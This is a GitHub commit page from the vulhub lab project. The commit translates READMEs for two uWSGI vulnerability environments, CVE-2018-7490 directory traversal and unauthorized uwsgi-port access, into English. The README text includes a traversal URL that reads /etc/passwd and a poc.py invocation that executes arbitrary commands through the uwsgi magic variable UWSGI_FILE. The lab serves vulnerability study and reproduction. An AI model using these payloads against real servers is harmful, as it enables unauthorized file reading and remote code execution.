Skip to content

Commit

Permalink
Translate/uwsgi (vulhub#90)
Browse files Browse the repository at this point in the history
* Update and rename README.md to README.zh-cn.md

* Create README.md

* Rename README.md to README.zh-cn.md

* Create README.md

* Update README.md
  • Loading branch information
ldqsmile authored and phith0n committed Dec 18, 2018
1 parent a9352d9 commit b227b2b
Show file tree
Hide file tree
Showing 4 changed files with 77 additions and 20 deletions.
21 changes: 12 additions & 9 deletions uwsgi/CVE-2018-7490/README.md
Original file line number Diff line number Diff line change
@@ -1,21 +1,24 @@
# uWSGI PHP目录穿越漏洞(CVE-2018-7490)

uWSGI是一款Web应用程序服务器,它实现了WSGI、uwsgi和http等协议,并支持通过插件来运行各种语言。
# uWSGI PHP Directory Traversal Vulnerability (CVE-2018-7490)

uWSGI 2.0.17之前的PHP插件,没有正确的处理`DOCUMENT_ROOT`检测,导致用户可以通过`..%2f`来跨域目录,读取或运行`DOCUMENT_ROOT`目录以外的文件。
[中文版本(Chinese version)](README.zh-cn.md)

## 漏洞环境
uWSGI is a web application server, which implements protocols such as WSGI/uwsgi/http, and supports for various languages through plugins.

运行存在漏洞的uWSGI服务器:
The PHP plugin of uWSGI before 2.0.17 doesn't handle the detection of `DOCUMENT_ROOT` correctly, resulting in reading or running files outside the `DOCUMENT_ROOT` through the use of `..%2f`.

## Environment Setup

Enter the following command:

```
docker-compose up -d
```

运行完成后,访问`http://your-ip:8080/`即可看到phpinfo信息,说明uwsgi-php服务器已成功运行。
Visit `http://your-ip:8080` and you'll see the phpinfo page as the uwsgi-php server running successfully.

## 漏洞复现
## POC

访问`http://your-ip:8080/..%2f..%2f..%2f..%2f..%2fetc/passwd`,成功读取文件
Directly visit `http://your-ip:8080/..%2f..%2f..%2f..%2f..%2fetc/passwd`, you will get the passwd file

![](1.png)
![](1.png)
21 changes: 21 additions & 0 deletions uwsgi/CVE-2018-7490/README.zh-cn.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
# uWSGI PHP目录穿越漏洞(CVE-2018-7490)

uWSGI是一款Web应用程序服务器,它实现了WSGI、uwsgi和http等协议,并支持通过插件来运行各种语言。

uWSGI 2.0.17之前的PHP插件,没有正确的处理`DOCUMENT_ROOT`检测,导致用户可以通过`..%2f`来跨越目录,读取或运行`DOCUMENT_ROOT`目录以外的文件。

## 漏洞环境

运行存在漏洞的uWSGI服务器:

```
docker-compose up -d
```

运行完成后,访问`http://your-ip:8080/`即可看到phpinfo信息,说明uwsgi-php服务器已成功运行。

## 漏洞复现

访问`http://your-ip:8080/..%2f..%2f..%2f..%2f..%2fetc/passwd`,成功读取文件:

![](1.png)
24 changes: 13 additions & 11 deletions uwsgi/unacc/README.md
Original file line number Diff line number Diff line change
@@ -1,31 +1,33 @@
# uWSGI 未授权访问漏洞
# uWSGI Unauthorized Access Vulnerability

uWSGI是一款Web应用程序服务器,它实现了WSGI、uwsgi和http等协议,并支持通过插件来运行各种语言,通常被用于运行Python WEB应用。uwsgi除了是应用容器的名称之外,它和Fastcgi之类的一样,也是前端server与后端应用容器之间的一个交流标准。目前nginx,apache也支持uwsgi协议进行代理转发请求。
[中文版本(Chinese version)](README.zh-cn.md)

uWSGI支持通过魔术变量(Magic Variables)的方式动态配置后端Web应用。如果其端口暴露在外,攻击者可以构造uwsgi数据包,并指定魔术变量`UWSGI_FILE`,运用`exec://`协议执行任意命令。
uWSGI is a web application server, which implements protocols such as WSGI/uwsgi/http, and supports for various languages through plugins. More than an application name, uwsgi is also an exchange standard between the front-end server and the back-end application container, just like Fastcgi.

参考链接:
uWSGI allows configuring back-end web application dynamically through Magic Variables. If the port is exposed, attackers can construct uwsgi packets and specify the magic variable `UWSGI_FILE`, so as to execute arbitrary commands by applying `exec://` protocol.

Reference links:

- https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi-rce-zh.md
- https://xz.aliyun.com/t/3512
- https://uwsgi-docs.readthedocs.io/en/latest/Vars.html

## 漏洞环境
## Environment Setup

执行如下命令启动nginx+uwsgi环境
Enter the following command

```
docker-compose up -d
```

环境启动后,访问`http://your-ip:8080`即可查看一个Web应用,其uwsgi暴露在8000端口。
`http://your-ip:8080` is a web application and its uwsgi is exposed to 8000 port.

## 漏洞复现
## POC

使用[poc.py](poc.py)执行命令`python poc.py -u your-ip:8000 -c "touch /tmp/success"`
Using [poc.py](poc.py)you can run the command `python poc.py -u your-ip:8000 -c "touch /tmp/success"`

![](1.png)

执行`docker-compose exec web bash`进入容器,可见`/tmp/success`已经成功执行
Entering the container through `docker-compose exec web bash` ,you'll see `/tmp/success` creating successfully

![](2.png)
![](2.png)
31 changes: 31 additions & 0 deletions uwsgi/unacc/README.zh-cn.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
# uWSGI 未授权访问漏洞

uWSGI是一款Web应用程序服务器,它实现了WSGI、uwsgi和http等协议,并支持通过插件来运行各种语言,通常被用于运行Python WEB应用。uwsgi除了是应用容器的名称之外,它和Fastcgi之类的一样,也是前端server与后端应用容器之间的一个交流标准。目前nginx,apache也支持uwsgi协议进行代理转发请求。

uWSGI支持通过魔术变量(Magic Variables)的方式动态配置后端Web应用。如果其端口暴露在外,攻击者可以构造uwsgi数据包,并指定魔术变量`UWSGI_FILE`,运用`exec://`协议执行任意命令。

参考链接:

- https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi-rce-zh.md
- https://xz.aliyun.com/t/3512
- https://uwsgi-docs.readthedocs.io/en/latest/Vars.html

## 漏洞环境

执行如下命令启动nginx+uwsgi环境:

```
docker-compose up -d
```

环境启动后,访问`http://your-ip:8080`即可查看一个Web应用,其uwsgi暴露在8000端口。

## 漏洞复现

使用[poc.py](poc.py),执行命令`python poc.py -u your-ip:8000 -c "touch /tmp/success"`

![](1.png)

执行`docker-compose exec web bash`进入容器,可见`/tmp/success`已经成功执行:

![](2.png)

0 comments on commit b227b2b

Please sign in to comment.